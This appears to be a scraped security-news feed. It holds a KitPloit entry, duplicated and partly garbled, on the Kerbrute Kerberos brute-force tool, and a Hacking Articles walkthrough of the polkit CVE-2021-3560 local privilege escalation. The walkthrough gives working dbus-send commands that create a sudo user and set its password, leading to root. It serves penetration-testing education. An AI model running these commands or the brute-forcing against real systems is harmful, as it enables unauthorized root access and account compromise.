Welcome to Changelog by README! I’m your host, Blake Sobczak. Every Sunday, I’ll deliver cybersecurity news and analysis to your inbox…Continue reading on README_ » (https://readme.security/darpas-quest-for-the-almost-unhackable-6b38487c6bb6?source=rss------bug_bounty-5)

Kerbrute - An Script To Perform Kerberos Bruteforcing By Using Impacket
http://www.kitploit.com/2022/01/kerbrute-script-to-perform-kerberos.html

An script to perform kerberos bruteforcing (https://www.kitploit.com/search/label/Bruteforcing) by using the Impacket library. When is executed, as input it receives a user or list of users and a password or list of password. Then is performs a brute-force (https://www.kitploit.com/search/label/Brute-force) attack to enumerate: Valid username/passwords pairs Valid usernames Usernames without pre-authentication required As a result, the script generates a list of valid credentials (https://www.kitploit.com/search/label/Credentials) discovered, and the TGT's generated due those valid credentials.
Installation From pypi: pip3 install kerbrute
From repo: git clone https://github.com/TarlogicSecurity/kerbrute
cd kerbrute
pip install -r requirements.txt
Use Help without arguments: ] [-threads THREADS] [-outputfile OUTPUTFILE] [-no-save-ticket] optional arguments: -h, --help show this help message and exit -debug Turn DEBUG output ON -user USER User to perform bruteforcing -users USERS File with user per line -password PASSWORD Password to perform bruteforcing -passwords PASSWORDS File with password per line -domain DOMAIN Domain to perform bruteforcing -dc-ip IP Address of the domain controller -threads THREADS Number of threads to perform bruteforcing. Default = 1 -outputfile OUTPUTFILE File to save discovered user:password -no-save-ticket Do not save retrieved TGTs with correct credentials Examples: ./kerbrute.py -users users_file.txt -passwords passwords_file.txt -domain contoso.com">root@kali:~# kerbrute
Impacket v0.9.18 - Copyright 2018 SecureAuth Corporation

usage: kerbrute.py [-h] [-debug] (-user USER | -users USERS)
[-password PASSWORD | -passwords PASSWORDS] -domain DOMAIN
[-dc-ip ] [-threads THREADS]
[-outputfile OUTPUTFILE] [-no-save-ticket]

optional arguments:
-h, --help show this help message and exit
-debug Turn DEBUG output ON
-user USER User to perform bruteforcing
-users USERS File with user per line
-password PASSWORD Password to perform bruteforcing
-passwords PASSWORDS File with password per line
-domain DOMAIN Domain to perform bruteforcing
-dc-ip IP Address of the domain controller
-threads THREADS Number of threads to perform bruteforcing. Default = 1
-outputfile OUTPUTFILE
File to save discovered user:password
-no-save-ticket Do not save retrieved TGTs with correct credentials

Examples:
./kerbrute.py -users users_file.txt -passwords passwords_file.txt -domain contoso.com Example of execution: triceratops:Sh4rpH0rns [*] Saved TGT in triceratops.ccache [*] Valid user => velociraptor [NOT PREAUTH] [*] Valid user => trex [*] Saved discovered passwords (https://www.kitploit.com/search/label/Passwords) in jurassic_passwords.txt">root@kali:~# kerbrute -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
Impacket v0.9.18 - Copyright 2018 SecureAuth Corporation

[*] Stupendous => triceratops:Sh4rpH0rns
[*] Saved TGT in triceratops.ccache
[*] Valid user => velociraptor [NOT PREAUTH]
[*] Valid user => trex
[*] Saved discovered passwords in jurassic_passwords.txt

Download Kerbrute (https://github.com/TarlogicSecurity/kerbrute)

My Bug Bounty Adventure -2-
https://hcibo.medium.com/my-bug-bounty-adventure-2-c9b3f653dd85?source=rss------bug_bounty-5

Greetings everyone from the Promentorium bosporium.Continue reading on Medium » (https://hcibo.medium.com/my-bug-bounty-adventure-2-c9b3f653dd85?source=rss------bug_bounty-5)

My Bug Bounty Adventure -2-

Greetings everyone from the Promentorium bosporium.Continue reading on Medium »
Read more...

KitPloit - PenTest Tools!
Kerbrute - An Script To Perform Kerberos Bruteforcing By Using Impacket

https://blogger.googleusercontent.com/img/a/AVvXsEiPK-dct-NTZR0M7Cn9eAE5494kmbSnZIn7QsGBAd-7AF0kTEiWFkjPCQX16URrNPqjJnz92piKlu7Oza-1Uy7-6qAyB-F8GmZCvp7b3mYbikddtXmheiMiM8FVl6lz1da6LQBrt_LbG3NJe7G8ftboOcNjm3jCMgsblu5qBUx3T6BmYzR9V_7DOUwt=w640-h284
An script to perform kerberos bruteforcing by using the Impacket library.

When is executed, as input it receives a user or list of users and a password or list of password. Then is performs a brute-force attack to enumerate:

* Valid username/passwords pairs
* Valid usernames
* Usernames without pre-authentication required

As a result, the script generates a list of valid credentials discovered, and the TGT's generated due those valid credentials.
Installation

From pypi:

pip3 install kerbrute


From repo:

git clone https://github.com/TarlogicSecurity/kerbrute
cd kerbrute
pip install -r requirements.txt


Use

Help without arguments:

root@kali:~# kerbrute
Impacket v0.9.18 - Copyright 2018 SecureAuth Corporation

usage: kerbrute.py [-h] [-debug] (-user USER | -users USERS)
[-password PASSWORD | -passwords PASSWORDS] -domain DOMAIN
[-dc-ip <ip_address] [-threads THREADS]
[-outputfile OUTPUTFILE] [-no-save-ticket]

optional arguments:
-h, --help show this help message and exit
-debug Turn DEBUG output ON
-user USER User to perform bruteforcing
-users USERS File with user per line
-password PASSWORD Password to perform bruteforcing
-passwords PASSWORDS File with password per line
-domain DOMAIN Domain to perform bruteforcing
-dc-ip <ip_addressIP Address of the domain controller
-threads THREADS Number of threads to perform bruteforcing. Default = 1
-outputfile OUTPUTFILE
File to save discovered user:password
-no-save-ticket Do not save retrieved TGTs with correct credentials

Examples:
./kerbrute.py -users users_file.txt -passwords passwords_file.txt -domain contoso.com

Example of execution:

velociraptor [NOT PREAUTH] [*] Valid user => trex [*] Saved discovered passwords in jurassic_passwords.txt">root@kali:~# kerbrute -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
Impacket v0.9.18 - Copyright 2018 SecureAuth Corporation

[*] Stupendous => triceratops:Sh4rpH0rns
[*] Saved TGT in triceratops.ccache
[*] Valid user => velociraptor [NOT PREAUTH]
[*] Valid user => trex
[*] Saved discovered passwords in jurassic_passwords.txt
Download Kerbrute

Hacking on Medium
The 10 Laws of Kenpo From The Hacker Perspective

I have been a practitioner of martial arts, specifically Kenpo, for 25 years now which is about as long as I have been hacking. I spend a…

Continue reading on Medium »

Hacking on Medium
Valeria- CCW Warrior Introduction Story

https://cdn-images-1.medium.com/max/600/1*o6_B39aB6Bsa63skBXYA1w.png
A warzone happened in Russia where Valeria was saved by Tala. She had a fusion bionic spinal cord and neural chip inserted in her brain so…

Continue reading on Medium »

Hacking Articles
Linux Privilege Escalation: Polkit (CVE 2021-3560)

IntroductionAccording to Red Hat, “Polkit stands for PolicyKit which is a framework that provides an authorization API used by privileged programs.” Pkexec is a tool in PolicyKit or polkit that allows a user to run a command as a different user. This vulnerability tricks polkit into bypassing the credential checks for D-Bus requests, elevating the privileges of the requestor to the root user. It was discovered by Kevin Backhouse and can be read here. Table of Content* Polkit, pkexec and dbus
* Background of CVE 2021-3506
* Exploitation of CVE 2021-3506
* Conclusion polkit, pkexec, and dbusPolkit and pkexec: PolicyKit is also known as polkit in Linux systems. It is an authorization API used by programs to elevate its permissions to that of an elevated user and run processes as an elevated user (root, generally). If the user is not specified it tries to run that command as the root user. Sudo does the same thing in terms that it lets a user run commands as root, however, with pkexec, admins can finely control the execution of particular programs by defining policies for it. Sudo has no restriction and a user may run any command as an elevated user given he knows the password. Pkexec also takes some effort in setting up but Debian variants, including the popular Ubuntu, come with polkit and pkexec pre-installed. These authorization rules for third party packages are defined in *.rules JavaScript files kept in the directory /usr/share/polkit-1/rules.d/

https://blogger.googleusercontent.com/img/a/AVvXsEj77dYTvGor53fRoXffG5NAViBqZF4vvUf0PeGwjfAJXu6BSgAu5jxV-somrzxrwlVbrmiPBpmaezYWd483LMcy2wPmziixcnORRcvDW_sT4AmTZn5CNEkLT-tUEo92aRe7xpq2APECG8M0xVEPxDxi_CMka7OzjEGjkZXNwP0enewC9npLqh8Fkwx6Yw=s16000

While authorization rules for local customization are stored in /etc/polkit-1/
You would observe *.conf files here. Conf and pkla files used to exist before *.rules and are there for backwards compatibility reasons.

https://blogger.googleusercontent.com/img/a/AVvXsEjDR5CMonRcXCNUpJ1NA1uOJ7CUjdPBV2u0FmcpsBtS7bd6moJ8FPDo9Wa95vnyz2i6ENSiA9-NkTsNTUjd5oFtSh8ZJ9405U2Csx9WIJHXYbl0jJrUs4n2Ihi7ce506UO8GVFWNSZRx0_YRJQ_DNfJ2PbsuNYEYH0H8OX3JIAXfIqlSTcUNODPgyhZpQ=s16000

dbus: dbus is a message system for applications to talk to one another (known as IPC or interprocess communication). This was developed as part of the freedesktop.org project. A basic dbus command to list system services looks like this:
dbus-send --system --dest=org.freedesktop.DBus --type=method_call --print-reply \
/org/freedesktop/DBus org.freedesktop.DBus.ListNames
In this demo, we’ll be using dbus to trigger pkexec from the command line. You can read more about dbus here. Background of CVE 2021-3506Polkit is a background process that allows authorization but it has a graphical prompt that Ubuntu users must be familiar with. It looks like this:

https://blogger.googleusercontent.com/img/a/AVvXsEhZMLUD6_yde6zKL8j8k8_bR5Ae3zECHZ9MVOWubc2pOoyP-oqO8rXRguXdPXhGEWgcMr1kkH1qtOWrfujF6ZroLGoJxjbt29X_9T5ldR3c-_T62aYXMmOndW6pTwJWyacH8Rt4tysBkXJSyGrsiISy-uB-DOslx1vlqQ28DLKZP3YmeCfOi9hSIlA6wA=s16000

However, polkit is executed in text mode too while using text-mode session, for example, while using ssh.
ssh pentest@192.168.1.141
pkexec sh
As you can see, pkexec has now been executed in CLI.

https://blogger.googleusercontent.com/img/a/AVvXsEhq0UwQ6HDKGkynKrlarKwzmVA9pN4t8DL_zMT1Yx9kddRSxL5WQAJ3xEgUB-al1W5LXMBhhn3qfZDnXJ_B2yyJ24s0VuHkizcIuw2--h-kNAcIUm07VoatRx9RT7qxSvM83ek0uAKOfLm1PLQJBFRG3rBM5zK8ehsWEjlft_EMo1DnrOABZX9tQOHd3w=s16000

Now getting back to dbus here. It is an IPC agent which can help us to send commands or messages to other processes and communicate with them. To perform operations, dbus has various service files configured that reference [...]

the absolute paths of executables or daemons that are to be triggered. For system processes, dbus stores service files in /usr/share/dbus-1/system-services. Here, you can see the contents of the hostname. service which performs hostname modification operations in Ubuntu and Accounts. service which triggers accounts-daemon to perform user addition/modification options.

https://blogger.googleusercontent.com/img/a/AVvXsEgSPJzYI3bYDasIsJXVU6hVPV7JAGBeKH5nF3z7q2nnBvUUPn5cxfRaahyDUB2KQclThQcImMTNupPOdZWTn9UMR52BVt-vlyoKz__4nEHntMSnBlcAFQb7hUnopyj-S1SQIvtJRNqSsDuTmRa0EXIug8a1ywy9w5RuhnU38Bl4ZhVX8_-vmPQsB0vHJQ=s16000

So, dbus can be used to execute a command and request polkit’s authorization for it. Each interface and method has its own XML configuration file that will reveal what parameters dbus sends to it while executing. We won’t get into that right now.

Kevin Backhouse posted this article where he detected a vulnerability in polkit that can be triggered by running the dbus-send command but killing it while polkit is still executing it and execution isn’t complete. In this demonstration, we will be creating a new user in the system without a root password. For that we would first launch a text-only session using ssh and then the dbus-send command:
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:ignite string:"ignite user" int32:1
–system: sends message to the system bus

–dest: name of the connection (interface) that receives the message

–type: method_call means a system function with arguments being passed

–print-reply: prints the output in human-readable format

/org/freedesktop/Accounts: This is the function that will be used

org.freedesktop.Accounts.CreateUser: Method that will be used. Here, create user method is used which will essentially create a new user with the name specified in string 1. String 2 is the name (“ignite user”) that will be visible in the system. int32 is an integer argument the method takes in that specifies the type of account encoded as an integer.

You can find the configuration xml file for this method here.

But this will fail as authentication is required for us to create a new user.

https://blogger.googleusercontent.com/img/a/AVvXsEg0jalx-Pl5ZnyC3v253zug88MKUi5i-YNdx-eTA7J_sCcfmNVZ5ktJwkuC16QZdEvv-6IvHVf_PA8m_HvSFd_6aoRi6gr3vrR5FRM5UabXZH01NEzvo_doRCgvjNp_7nucuXCgRRIzbKtv9Tz0L5HkLafMG9TWT68kEZUNLruyTP88ymSFeiMnMNz16g=s16000 Exploitation of CVE 2021-3506For the exploit to work, we need to kill the command while it is being executed. For this we need to check the time it takes to execute this command.
time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:ignite string:"ignite user" int32:1
As you can see, it takes me 0.008 seconds to execute this command. So, I need to kill my payload before 0.008 seconds for it to work.

https://blogger.googleusercontent.com/img/a/AVvXsEibkILJ1tKR_dGar4HtyR13zgesS4IGc_PkSP6jI7s5oOVLIbXW5yUwNH0cIKcx025lKJ1Gg5_AQZYsD4SMVL_YpzM06Zrs2WOievd-k5SCTTnttrlT50wrW8wEpBlSLP7rdX4wzwfz16a7iga7Ex8Iu5X4eijWjhhYegewR2wq5F9RCbf129XMHM3RWw=s16000

Kevin mentions a user can hit CTRL+C quickly and it should work but better leave it to a simple inline bash script to kill the process in 0.0035 seconds. Note that we tried a lot of times and the time needed to run was different every time. So, you would need to experiment with it too and see which time suits you and would let the exploit run properly. Here
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:ignite string:"ignite user" int32:1 & sleep 0.0035s ; kill $!
We ran the same command about 5-7 times before our user ignite got created! What’s more, is that ignite is a[...]

member of the sudo group!

How did it work? Dbus assigns a unique ID to any connection. Polkit verifies that Unique ID and provides authorization. Let’s say the UID is 1.87. Since, the connection breaks in between, polkit recognizes the UID as 0 and considers the request coming from the root. Hence, this is how the exploit works.

https://blogger.googleusercontent.com/img/a/AVvXsEjRh8N7aYayfkMLdIMWuJjiatZaD9WvLxVkEcZBQq0FPfqs7GgipNrh7H2JvFVw0jQBw8S1CBW_7Fa31OMJu7nd6gdH2m7gOg__uj3AU9HwjRXei11mbDQkK0eXW12hijjzjIBBXwzoFlk1sVY4licrxzTwkYJCyHYt8CGloOnuCegSsHxoGlKoGnTniA=s16000

We can check the /etc/passwd for its validity. Also, as you can see the uid is 1001 here.
tail -n 3 /etc/passwd
Next, we need to supply the password using dbus so that we can use this newly created user. We need to generate a hashed password as dbus-send takes in hashed password as input.
openssl passwd -5 ignite@123
This would generate a hash in SHA-256 format. We can use any other encryption too as per the system configuration.

https://blogger.googleusercontent.com/img/a/AVvXsEiJEsziyM2BGe-VnS1eB_4v8b-qO_NGNXpO4k1j4ZyQot3GaRUs7oeyqzvnUsM9S9eEWx4abH-M21_CAoYNMCvGnQaSEciuBinewVsAfXFppVIkeGBay_VIEmvtHUVXCOGTE2RYK6m1_LcJIFS5YRcqlfJuLQ-7OWRd18y9wvC6hBvbJ6X2tZohS6xzzQ=s16000

Now we need to pass this hash in User.SetPassword function using dbus under a string parameter. The payload looks like:
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1001 org.freedesktop.Accounts.User.SetPassword string:'$5$F2KwiUlWkn2i8DC.$rw9AOjKsmK83DhncqehVUzOKVqq.ArwS2G8eQKVntv7' string:BestHackingTutorials & sleep 0.0035s ; kill $!
Here, User.SetPassword has been used. Two parameters are passed. The first string is the hashed credential and the second string: “BestHackingTutorials” is the password hint. This can be changed too.

We need to send this command 6-7 times for this to run. We can login to this user now.
su ignite
password: ignite@123
whoami
id
https://blogger.googleusercontent.com/img/a/AVvXsEg_yCwBZs9uCkyo3F4lZCV3qbBJffaJGa9XnKOx0Zhu4XQ7v1GPYjAIxkPusy4uJh3sNwCWgFtpWUmzge6JWkAYdNXlhqkrGGHdAWrtIy6TQ1qfqUad-Czs8bzLLZdjyFWXXbG1nmsl1V1Ry-2Abk5uwh2ZOFqAfzIun6FDdstidxHBuVLMYXz3pfiUJw=s16000

You can escalate your privileges by sudo bash as user ignite is a member of the sudo group.

https://blogger.googleusercontent.com/img/a/AVvXsEgSBo644Zeio-WP9cA83SXkna_BJHom5nBRKSSB6PkwgcezRAhpABYISLzO1WCRkEkfWIOB2yO6NjP2BV8l2hifMkWMTMWxqaWtRvoGGV1J_fbukULwtpuTleuYOprnEiAT4QXK9c9WH9I1dsDqyuyiPKRTcBFZHfnc6ODtDwibLvw-Mh7eGQPCmeX8Rw=s16000 ConclusionPolkit is a pre-installed package in Linux distros. Any system running polkit version < 0.119 is vulnerable to privilege escalation through this method. It has a high impact rating and exploitation is fairly easy as no exploit development knowledge is required. Hope you enjoyed the article. Thanks for reading.

Author: Harshit Rajpal is an InfoSec researcher and left and right brain thinker. Contact here

The post Linux Privilege Escalation: Polkit (CVE 2021-3560) appeared first on Hacking Articles.

hacking: security in practice
Traitor now includes an exploit for CVE-2021-4034 (pwnkit)

https://external-preview.redd.it/OgJf5z4cFGo1qafeEPS4Y2J_uzRTxsB8jt_bK_jujLM.jpg?width=640&crop=smart&auto=webp&s=a2a26656580d677f8321380a0bf01462c14c0a26 submitted by /u/pope_friction
[link] [comments]